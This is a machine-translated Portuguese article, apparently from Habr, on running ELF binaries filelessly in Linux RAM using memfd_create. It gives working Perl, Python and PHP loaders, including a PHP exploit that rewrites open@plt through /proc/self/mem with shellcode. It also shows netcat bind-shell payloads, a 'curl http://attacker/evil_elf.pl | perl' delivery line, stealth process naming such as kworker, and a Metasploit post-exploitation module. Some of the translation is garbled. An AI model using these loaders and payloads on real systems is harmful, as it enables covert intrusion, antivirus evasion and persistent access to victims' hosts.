Elfos na memória. Executando o ELF na RAM do Linux


A distribuição de malware sem arquivos está ganhando popularidade. O que não é surpreendente, porque o trabalho de tais programas praticamente não deixa vestígios. Neste artigo, não abordaremos a técnica de execução de programas na memória do Windows. Nós nos concentramos no GNU / Linux. O Linux domina por direito o segmento de servidores, vive em milhões de dispositivos incorporados e fornece a grande maioria dos recursos da web. A seguir, faremos uma breve revisão das possibilidades de execução de programas na memória e demonstraremos que isso é possível mesmo em condições difíceis.


As técnicas de execução sem arquivos são secretas; é extremamente difícil detectar e rastrear seu uso. As ferramentas de controle de integridade do sistema de arquivos não avisam o administrador, pois não ocorrem operações de gravação no disco ou alterações no arquivo. O software antivírus (geralmente negligenciado pelos usuários * nix) geralmente não monitora a memória do programa após a inicialização. Além disso, em muitas distribuições GNU / Linux, imediatamente após a instalação, está disponível uma ampla variedade de vários utilitários de depuração, intérpretes, compiladores de linguagens de programação e bibliotecas. Tudo isso cria excelentes condições para o uso de técnicas de execução secreta e livre de arquivos. Mas, além das vantagens de seu uso, também existem desvantagens - esses programas não sobrevivem ao blecaute ou à reinicialização do host de destino. Mas enquanto o host está sendo executado, o programa funciona.


Tais técnicas podem e devem ser usadas não apenas para a distribuição de malware. Se a velocidade de execução do seu programa for crítica para você, descarregue-a na RAM. Na verdade, muitas distribuições Linux se sentem bem quando executadas completamente na RAM, o que permite trabalhar com discos rígidos sem salvar nenhum arquivo neles. Do ponto de vista da auditoria de segurança da informação, os métodos de execução secreta de programas são muito úteis como um estágio de pós-operação e reconhecimento dentro do perímetro da rede de destino. Especialmente se o sigilo máximo for uma das condições de auditoria.
Segundo o portal barkly.com em 2018, já 35% dos ataques de vírus ocorrem em software malicioso em execução na memória.


No caso do Windows, os cibercriminosos usam ativamente o sistema Powershell pré-instalado para baixar e executar o código imediatamente. Essas técnicas são amplamente utilizadas, entre outras coisas, graças à sua implementação em estruturas como Powershell Empire, Powersploit e Metasploit Framework.


E o Linux?


Na maioria dos casos, as distribuições Linux instaladas nos hosts possuem um conjunto de software pré-instalado. Como regra geral, estão disponíveis intérpretes de linguagens de programação: compilador Python, Perl, C. O PHP está presente nos sites de hospedagem no apêndice. Essa condição fornece a capacidade de executar código usando esses idiomas.


No Linux, temos várias opções conhecidas para executar código na memória.
A maneira mais fácil é usar a área de memória compartilhada pré-montada no sistema de arquivos.


Ao colocar o arquivo executável no diretório / dev / shm ou / run / shm, é possível executá-lo diretamente na memória, pois esses diretórios nada mais são do que uma memória de acesso aleatório montada no sistema de arquivos. Mas eles podem ser visualizados com ls como em qualquer outro diretório. Como regra, esses diretórios são montados com o sinalizador noexec e a execução de programas nesses diretórios está disponível apenas para o superusuário. Portanto, para ser um pouco mais discreto, você precisa de outra coisa.


Mais digna de nota é a chamada do sistema memfd_create (2) . Essa chamada do sistema funciona aproximadamente como malloc (3) , mas não retorna um ponteiro para uma área de memória, mas um descritor de arquivo para um arquivo anônimo, visível no sistema de arquivos apenas como um link em /proc/PID/fd/ , pelo qual pode ser executado usando execve (2).
Aqui está o que a página do manual para usar a chamada de sistema memfd_create (em russo) diz:


"O nome especificado em name é usado como o nome do arquivo e será mostrado como o destino do link simbólico correspondente no diretório. /proc/self/fd/ . O nome de exibição sempre começa com memfd: e é apenas para depuração. Os nomes não afetam o comportamento do arquivo "descritor e, portanto, vários arquivos podem ter o mesmo nome sem consequências."


Um exemplo de uso de memfd_create() para o idioma C:


 #include <stdio.h> #include <stdlib.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> int main() { int fd; pid_t child; char buf[BUFSIZ] = ""; ssize_t br; fd = syscall(SYS_memfd_create, "foofile", 0); if (fd == -1) { perror("memfd_create"); exit(EXIT_FAILURE); } child = fork(); if (child == 0) { dup2(fd, 1); close(fd); execlp("/bin/date", "/bin/date", NULL); perror("execlp date"); exit(EXIT_FAILURE); } else if (child == -1) { perror("fork"); exit(EXIT_FAILURE); } waitpid(child, NULL, 0); lseek(fd, 0, SEEK_SET); br = read(fd, buf, BUFSIZ); if (br == -1) { perror("read"); exit(EXIT_FAILURE); } buf[br] = 0; printf("child said: '%s'\n", buf); exit(EXIT_SUCCESS); } 

O código acima usa memfd , cria um processo filho, direciona sua saída para um arquivo temporário, aguarda a conclusão do processo filho e lê sua saída do arquivo temporário. Normalmente, o pipe "|" é usado para redirecionar a saída de um programa para a entrada de outro no * nix.


A capacidade de usar syscall() também está disponível em linguagens interpretadas como perl, python, etc ... Em seguida, consideramos um dos cenários possíveis e demonstramos a capacidade de carregar arquivos executáveis ​​na memória usando memfd_create() .


Perl


Suponha que tenhamos um ponto de entrada na forma de injeção de comando.
Precisamos de uma maneira de fazer chamadas ao sistema de destino.
No perl, a função syscall () nos ajudará com isso.
Também precisaremos de uma maneira de gravar nossa ELF diretamente na memória como o conteúdo de um arquivo anônimo.
Para fazer isso, colocaremos nossa ELF diretamente no corpo do script, que por sua vez será transferido para o sistema de destino através da injeção de comando disponível. Como alternativa, você também pode baixar o arquivo executável pela rede.
Mas antes disso vale a pena fazer uma reserva. Precisamos conhecer a versão do kernel do linux no host de destino, pois a chamada do sistema memfd_create() necessária está disponível apenas a partir da versão 3.17 e superior.


Vamos dar uma memfd_create() em memfd_create() e execve()


Para nosso arquivo anônimo, usaremos a constante MFD_CLOEXEC , que "define o sinalizador de close-on-exec (FD_CLOEXEC) para um novo descritor de arquivo aberto". Isso significa que nosso descritor de arquivo será fechado automaticamente após executarmos o ELF usando execve()


Como usaremos a função syscall() da linguagem Perl, precisaremos de valores numéricos para chamar nosso syscall e seu parâmetro.
Você pode encontrá-los em /usr/include ou na Internet. O número de chamada do sistema pode ser encontrado em #define começando com __NR_
No nosso caso, memfd_create() é numerado 319 para um sistema operacional de 64 bits. E a constante é FD_CLOSEXEC 0x0001U (ou seja, 1 no linux/memfd.h )


Agora temos todos os valores numéricos necessários e podemos escrever em Perl um análogo de memfd_create(name, MFD_CLOEXEC) de C.
Também precisamos criar um nome de arquivo que será exibido em /memfd:
Será ideal escolher um nome semelhante a [:kworker] ou outro, sem causar suspeitas.
Por exemplo, passaremos uma string vazia para o parâmetro name:


 my $name = ""; my $fd = syscall(319, $name, 1); if (-1 == $fd) { die "memfd_create: $!"; } 

Agora temos o descritor de arquivo anônimo em $ fd e precisamos gravar o ELF nesse arquivo.
A função open () no perl geralmente é usada para abrir arquivos, mas usando a construção >&=FD , passando o descritor para essa função em vez do nome do arquivo, transformamos o descritor de arquivo já aberto no identificador de arquivo.
autoflush[] também seria útil para autoflush[] :


 open(my $FH, '>&='.$fd) or die "open: $!"; select((select($FH), $|=1)[0]); 

Agora, temos um identificador que se refere a um arquivo anônimo.


Em seguida, precisamos converter nosso arquivo executável em dados que podem ser colocados no corpo de um script Perl.
Para fazer isso, realizamos:


 $ perl -e '$/=\32;print"print \$FH pack q/H*/, q/".(unpack"H*")."/\ or die qq/write: \$!/;\n"while(<>)' ./elfbinary 

Temos muitas linhas semelhantes:


 print $FH pack q/H*/, q/7f454c4602010100000000000000000002003e0001000000304f450000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/4000000000000000c80100000000000000000000400038000700400017000300/ or die qq/write: $!/; print $FH pack q/H*/, q/0600000004000000400000000000000040004000000000004000400000000000/ or die qq/write: $!/; 

Depois de executá-los, colocaremos nosso arquivo executável na memória. Tudo o que resta para nós é lançá-lo.


garfo ()


Opcionalmente, podemos usar fork () . Isso não é necessário. Mas se quisermos não apenas executar o ELF e matar o processo, precisaremos usar o fork() .
Em geral, a criação de um processo filho em perl se parece com isso:


 while ($keep_going) { my $pid = fork(); if (-1 == $pid) { # Error die "fork: $!"; } if (0 == $pid) { exit 0; } } 

A utilidade do fork() também fork() no fato de que, chamando-o juntamente com o setsid (2) , você pode separar o processo filho do processo pai e deixar o pai terminar:


 #    my $pid = fork(); if (-1 == $pid) { # Error die "fork1: $!"; } if (0 != $pid) { #   exit 0; } #     if (-1 == syscall(112)) { die "setsid: $!"; } #    () $pid = fork(); if (-1 == $pid) { # Error die "fork2: $!"; } if (0 != $pid) { #    exit 0; } #   "" 

Agora podemos executar o ELF em muitos processos.


Execute ()


Execve () é uma chamada de sistema que nos permite executar um programa. O Perl nos fornece funcionalidade semelhante através da função Exec () , que funciona exatamente como a chamada de sistema acima mencionada, mas possui uma sintaxe muito mais simples e conveniente.
Precisamos passar duas coisas para exec() : o arquivo que queremos executar (nossa memória ELF carregada anteriormente) e o nome do processo como um dos argumentos passados. Normalmente, o nome do processo corresponde ao nome do arquivo executável. Mas como veremos /proc/PID/fd/3 na lista de processos, chamaremos nosso processo de outra coisa.
A sintaxe para exec() seguinte:


 exec {"/proc/$$/fd/$fd"} "nc", "-kvl", "4444", "-e", "/bin/sh" or die "exec: $!"; 

O exemplo acima inicia o Netcat. Mas gostaríamos de lançar algo um pouco menos como um backdoor.
O processo iniciado não terá um link para o arquivo anônimo em /proc/PID/fd , mas sempre podemos encontrar nosso ELF no link /proc/PID/exe , que aponta para o arquivo do processo em execução.
Por isso, lançamos o ELF na memória do Linux, sem tocar no disco e nem no sistema de arquivos.
É possível baixar nosso arquivo executável para o sistema de destino de maneira rápida e conveniente, por exemplo, passando um script para o interpretador Perl, no corpo do qual colocamos o ELF e o colocamos em uma hospedagem externa: $ curl http://attacker/evil_elf.pl | perl $ curl http://attacker/evil_elf.pl | perl


Python


Semelhante à opção Perl, precisamos fazer o seguinte:


  • usando a chamada de sistema memfd_create (), crie um arquivo anônimo na memória
  • grava ELF executável nesse arquivo
  • execute-o e opcionalmente execute-o várias vezes com fork ()

 import ctypes import os #   .     - binary = open('/tmp/rev-shell','rb').read() fd = ctypes.CDLL(None).syscall(319,"",1) #  memfd_create     final_fd = open('/proc/self/fd/'+str(fd),'wb') #    . final_fd.write(binary) final_fd.close() fork1 = os.fork() #   if 0 != fork1: os._exit(0) ctypes.CDLL(None).syscall(112) #  setsid()     . fork2 = os.fork() #     . if 0 != fork2: os._exit(0) os.execl('/proc/self/fd/'+str(fd),'argv0','argv1') #    . 

No caso de python, para chamar syscall , precisamos do módulo padrão ctypes e os para escrever e executar o arquivo e controlar o processo. Tudo é completamente análogo à versão perl.
No código acima, escrevemos no arquivo um arquivo localizado anteriormente no /tmp/ . No entanto, nada nos impede de baixar o arquivo do servidor web.


Php


Nesta fase, já podemos usar perl e python. Os intérpretes desses idiomas são instalados por padrão em muitos sistemas operacionais. Mas o mais interessante, como sempre, está à frente.
Se, por alguma razão, intérpretes perl ou python não estiverem disponíveis para nós, seria ótimo usar o PHP. Essa linguagem é muito popular entre os desenvolvedores da web. E se já descobrimos a capacidade de executar código em um aplicativo Web, é com grande probabilidade que o intérprete PHP nos encontre.


Infelizmente, o php não possui mecanismos syscall para chamar o syscall .
Nos deparamos com uma postagem de Beched'a no fórum rdot (Thanks Beched!), Que sobrescreve a chamada da função open para o system por meio de procfs /proc/self/mem na memória do processo atual e ignora o disable_functions .
Usamos esse truque para reescrever a função em nosso código, o que causará as chamadas de sistema necessárias.
Passaremos syscall para o interpretador php na forma de shellcode no assembler.
As chamadas do sistema precisarão ser transmitidas por uma sequência de comandos.
Vamos começar a escrever um script PHP. Em seguida haverá muita magia.


Primeiro, denotamos os parâmetros necessários:


  $elf = file_get_contents("/bin/nc.traditional"); // elf_payload $args = "test -lvvp 31338 -e /bin/bash"; // argv0 argv1 argv2 ... 

Indique a mudança - os valores superior e inferior na memória, onde mais tarde colocaremos nosso código de shell:


  function packlli($value) { $higher = ($value & 0xffffffff00000000) >> 32; $lower = $value & 0x00000000ffffffff; return pack('V2', $lower, $higher); } 

A seguir, é a função pela qual o arquivo binário é "descompactado". Para fazer isso, convertemos os dados binários em uma representação decimal usando a função hexdex () dos dados binários bin2hex () na ordem inversa (para armazenamento):


 function unp($value) { return hexdec(bin2hex(strrev($value))); } 

Em seguida, o arquivo ELF é analisado para obter compensações:


 function parseelf($bin_ver, $rela = false) { $bin = file_get_contents($bin_ver); $e_shoff = unp(substr($bin, 0x28, 8)); $e_shentsize = unp(substr($bin, 0x3a, 2)); $e_shnum = unp(substr($bin, 0x3c, 2)); $e_shstrndx = unp(substr($bin, 0x3e, 2)); for($i = 0; $i < $e_shnum; $i += 1) { $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4)); if($sh_type == 11) { // SHT_DYNSYM $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); $dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); $dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8)); } elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB $strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); $strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); } elseif($rela && $sh_type == 4) { // SHT_RELA $relaplt_off = unp(substr($bin, $e_shoff + $i * $e_ + 24, 8)); $relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); $relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8)); } } if($rela) { for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) { $r_offset = unp(substr($bin, $i, 8)); $r_info = unp(substr($bin, $i + 8, 8)) >> 32; $name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4)); $name = ''; $j = $strtab_off + $name_off - 1; while($bin[++$j] != "\0") { $name .= $bin[$j]; } if($name == 'open') { return $r_offset; } } } else { for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) { $name_off = unp(substr($bin, $i, 4)); $name = ''; $j = $strtab_off + $name_off - 1; while($bin[++$j] != "\0") { $name .= $bin[$j]; } if($name == '__libc_system') { $system_offset = unp(substr($bin, $i + 8, 8)); } if($name == '__open') { $open_offset = unp(substr($bin, $i + 8, 8)); } } return array($system_offset, $open_offset); } 

Além disso, exibimos informações sobre a versão instalada do PHP:


 if (!defined('PHP_VERSION_ID')) { $version = explode('.', PHP_VERSION); define('PHP_VERSION_ID', ($version[0] * 10000 + $version[1] * 100 + $version[2])); } if (PHP_VERSION_ID < 50207) { define('PHP_MAJOR_VERSION', $version[0]); define('PHP_MINOR_VERSION', $version[1]); define('PHP_RELEASE_VERSION', $version[2]); } echo "[INFO] PHP major version " . PHP_MAJOR_VERSION . "\n"; 

Verificamos a profundidade de bits do sistema operacional e a versão do kernel do Linux:


 if(strpos(php_uname('a'), 'x86_64') === false) { echo "[-] This exploit is for x64 Linux. Exiting\n"; exit; } if(substr(php_uname('r'), 0, 4) < 2.98) { echo "[-] Too old kernel (< 2.98). Might not work\n"; } 

Para contornar as restrições de disable_functions , o script reescreve o endereço da função open@plt em tempo real. Fizemos algumas adições ao código, e agora podemos colocar nosso código de shell na memória.


Primeiro você precisa encontrar a mudança no arquivo binário do próprio interpretador PHP, para isso, voltamos para /proc/self/exe e analisamos o arquivo executável usando a função parseelf() descrita acima:


 echo "[INFO] Trying to get open@plt offset in PHP binary\n"; $open_php = parseelf('/proc/self/exe', true); if($open_php == 0) { echo "[-] Failed. Exiting\n"; exit; } echo '[+] Offset is 0x' . dechex($open_php) . "\n"; $maps = file_get_contents('/proc/self/maps'); preg_match('#\s+(/.+libc\-.+)#', $maps, $r); echo "[INFO] Libc location: $r[1]\n"; preg_match('#\s+(.+\[stack\].*)#', $maps, $m); $stack = hexdec(explode('-', $m[1])[0]); echo "[INFO] Stack location: ".dechex($stack)."\n"; $pie_base = hexdec(explode('-', $maps)[0]); echo "[INFO] PIE base: ".dechex($pie_base)."\n"; echo "[INFO] Trying to get open and system symbols from Libc\n"; list($system_offset, $open_offset) = parseelf($r[1]); if($system_offset == 0 or $open_offset == 0) { echo "[-] Failed. Exiting\n"; exit; } 

Encontre o endereço da função open() :


 echo "[+] Got them. Seeking for address in memory\n"; $mem = fopen('/proc/self/mem', 'rb'); fseek($mem, ((PHP_MAJOR_VERSION == 7) * $pie_base) + $open_php); $open_addr = unp(fread($mem, 8)); echo '[INFO] open@plt addr: 0x' . dechex($open_addr) . "\n"; echo "[INFO] Rewriting open@plt address\n"; $mem = fopen('/proc/self/mem', 'wb'); 

Agora você pode ir diretamente para o download do nosso arquivo executável.
Primeiro, crie um arquivo anônimo:


 $shellcode_loc = $pie_base + 0x100; $shellcode="\x48\x31\xD2\x52\x54\x5F\x6A\x01\x5E\x68\x3F\x01\x00\x00\x58\x0F\x05\x5A\xC3"; fseek($mem, $shellcode_loc); fwrite($mem, $shellcode); fseek($mem, (PHP_MAJOR_VERSION == 7) * $pie_base + $open_php); fwrite($mem, packlli($shellcode_loc)); echo "[+] Address written. Executing cmd\n"; $fp = fopen('fd', 'w'); 

Escrevemos a carga em um arquivo anônimo:


 fwrite($fp, $elf); 

Estamos procurando o número do descritor de arquivo:


 $found = false; $fds = scandir("/proc/self/fd"); foreach($fds as $fd) { $path = "/proc/self/fd/$fd"; if(!is_link($path)) continue; if(strstr(readlink($path), "memfd")) { $found = true; break; } } if(!$found) { echo '[-] memfd not found'; exit; } 

Em seguida, escrevemos o caminho para o arquivo executável na pilha:


 fseek($mem, $stack); fwrite($mem, "{$path}\x00"); $filename_ptr = $stack; $stack += strlen($path) + 1; fseek($mem, $stack); 

E os argumentos a serem executados passaram para o executável:


 fwrite($mem, str_replace(" ", "\x00", $args) . "\x00"); $str_ptr = $stack; $argv_ptr = $arg_ptr = $stack + strlen($args) + 1; foreach(explode(' ', $args) as $arg) { fseek($mem, $arg_ptr); fwrite($mem, packlli($str_ptr)); $arg_ptr += 8; $str_ptr += strlen($arg) + 1; } fseek($mem, $arg_ptr); fwrite($mem, packlli(0x0)); echo "[INFO] Argv: " . $args . "\n"; 

Em seguida, chamando fork() , executamos nossa carga útil:


 echo "[+] Starting ELF\n"; $shellcode = "\x6a\x39\x58\x0f\x05\x85\xc0\x75\x28\x6a\x70\x58\x0f\x05\x6a\x39\x58\x0f\x05\x85\xc0\x75\x1a\x48\xbf" . packlli($filename_ptr) . "\x48\xbe" . packlli($argv_ptr) . "\x48\x31\xd2\x6a\x3b\x58\x0f\x05\xc3\x6a\x00\x5f\x6a\x3c\x58\x0f\x05"; fseek($mem, $shellcode_loc); fwrite($mem, $shellcode); fopen('done', 'r'); exit(); 

Shellcode


Shellcode geralmente significa uma sequência de bytes que são armazenados na memória e executados, geralmente no contexto de outro programa, usando ataques de buffer overflow e outros. No nosso caso, o código de shell não retorna o prompt de comando do servidor remoto (na verdade, o Shell), mas nos permite executar os comandos que precisamos.


Para obter a sequência de bytes necessária, você pode escrever o código C e traduzi-lo para a linguagem assembler ou escrever a linguagem assembly a partir do zero.


Vamos ver o que está escondido atrás da sequência de bytes das listagens acima.


 push 57 pop rax syscall test eax, eax jnz quit 

O lançamento do nosso programa começa com c fork . 57 é o valor numérico do identificador de chamada do sistema para sistemas de 64 bits. A tabela pode ser encontrada aqui .


Em seguida, chamamos setsid (identificador numérico 112) para converter o processo filho no pai:


 push 112 pop rax syscall 

Em seguida, faça outro fork :


 push 57 pop rax syscall test eax, eax jnz quit 

Em seguida, execute o familiar execve() :


 ; execve mov rdi, 0xcafebabecafebabe ; filename mov rsi, 0xdeadbeefdeadbeef ; argv xor rdx, rdx ; envp push 0x3b pop rax syscall push -1 pop rax ret 

E finalizamos o processo com exit() (60):


 ; exit quit: push 0 pop rdi push 60 pop rax syscall 

Assim, substituímos o código da função open () em movimento. Nosso arquivo executável foi colocado na memória e executado por meio do interpretador PHP. As chamadas do sistema são apresentadas como códigos de shell.


Estrutura Metasploit


Como uma compilação das técnicas acima, preparamos um módulo para MSF .


Para adicioná-lo ao Metasploit, simplesmente copie o arquivo do módulo para o diretório $HOME/.msf4/module/post/linux/manage/download_exec_elf_in_memory.rb e execute o comando reload_all no console da estrutura.
Para usar nosso módulo, digite use post/linux/manage/download_exec_elf_in_memory (ou outro caminho, dependendo do diretório em que o arquivo do módulo foi colocado)
Antes de usá-lo, você deve definir as opções necessárias. A lista de opções é exibida com o comando show options .


ARGS - Argumentos para o executável


FILE - caminho para o arquivo executável. No nosso caso, este é o Netcat.


NAME é o nome do processo. Você pode chamá-lo de qualquer coisa. Por exemplo, para fins de furtividade, este pode ser o kworker: 1 poço, ou com o objetivo de demonstrar algo cômico, por exemplo, KittyCat


SESSION - sessão do medidor. Entende-se que este módulo será utilizado para fins pós-operação.


Em seguida, designamos o host no qual o servidor http com nossa carga estará localizado e sua porta nas SRVPORT e SRVPORT respectivamente.


VECTOR - o método pelo qual a execução do programa na memória será alcançada; o parâmetro é opcional; se estiver vazio, o próprio script estabelecerá a presença dos intérpretes necessários. Atualmente, há suporte para PHP, Python ou Perl.


run usando o comando exploit ou run



Funciona da seguinte maneira - indicamos a sessão desejada, pode ser um medidor de temperatura ou um inversor comum. A seguir, indicamos o caminho local para o nosso elfo, os argumentos e o nome desejado na lista de processos. Após o início, um servidor da web local será iniciado para hospedar a carga, e a sessão procurará "cadeiras de balanço", o curl e o wget são suportados atualmente. Após encontrar pelo menos um deles, todos os intérpretes serão pesquisados ​​se não especificarmos no parâmetro VECTOR qual deles precisamos. Bem, se for bem-sucedido, um comando será executado para baixar a carga útil do nosso servidor da Web e transferi-la por canal para o intérprete desejado, ou seja, algo como $ curl http://hacker/payload.pl | perl $ curl http://hacker/payload.pl | perl


Em vez de uma conclusão.


O download de arquivos ELF sem arquivo no Linux é uma técnica útil para teste de penetração. Este é um método bastante silencioso que pode suportar uma ampla variedade de ferramentas de proteção antivírus, sistemas de monitoramento de integridade e sistemas de monitoramento que monitoram alterações no conteúdo do disco rígido. Dessa forma, você pode manter facilmente o acesso ao sistema de destino, deixando um mínimo de rastreios.
Neste artigo, usamos linguagens de programação interpretadas, geralmente instaladas por padrão em distribuições, firmware, roteadores e dispositivos móveis Linux. Também gostaria de agradecer ao autor deste artigo , que nos inspirou nesta revisão.

Source: https://habr.com/ru/post/pt430902/


All Articles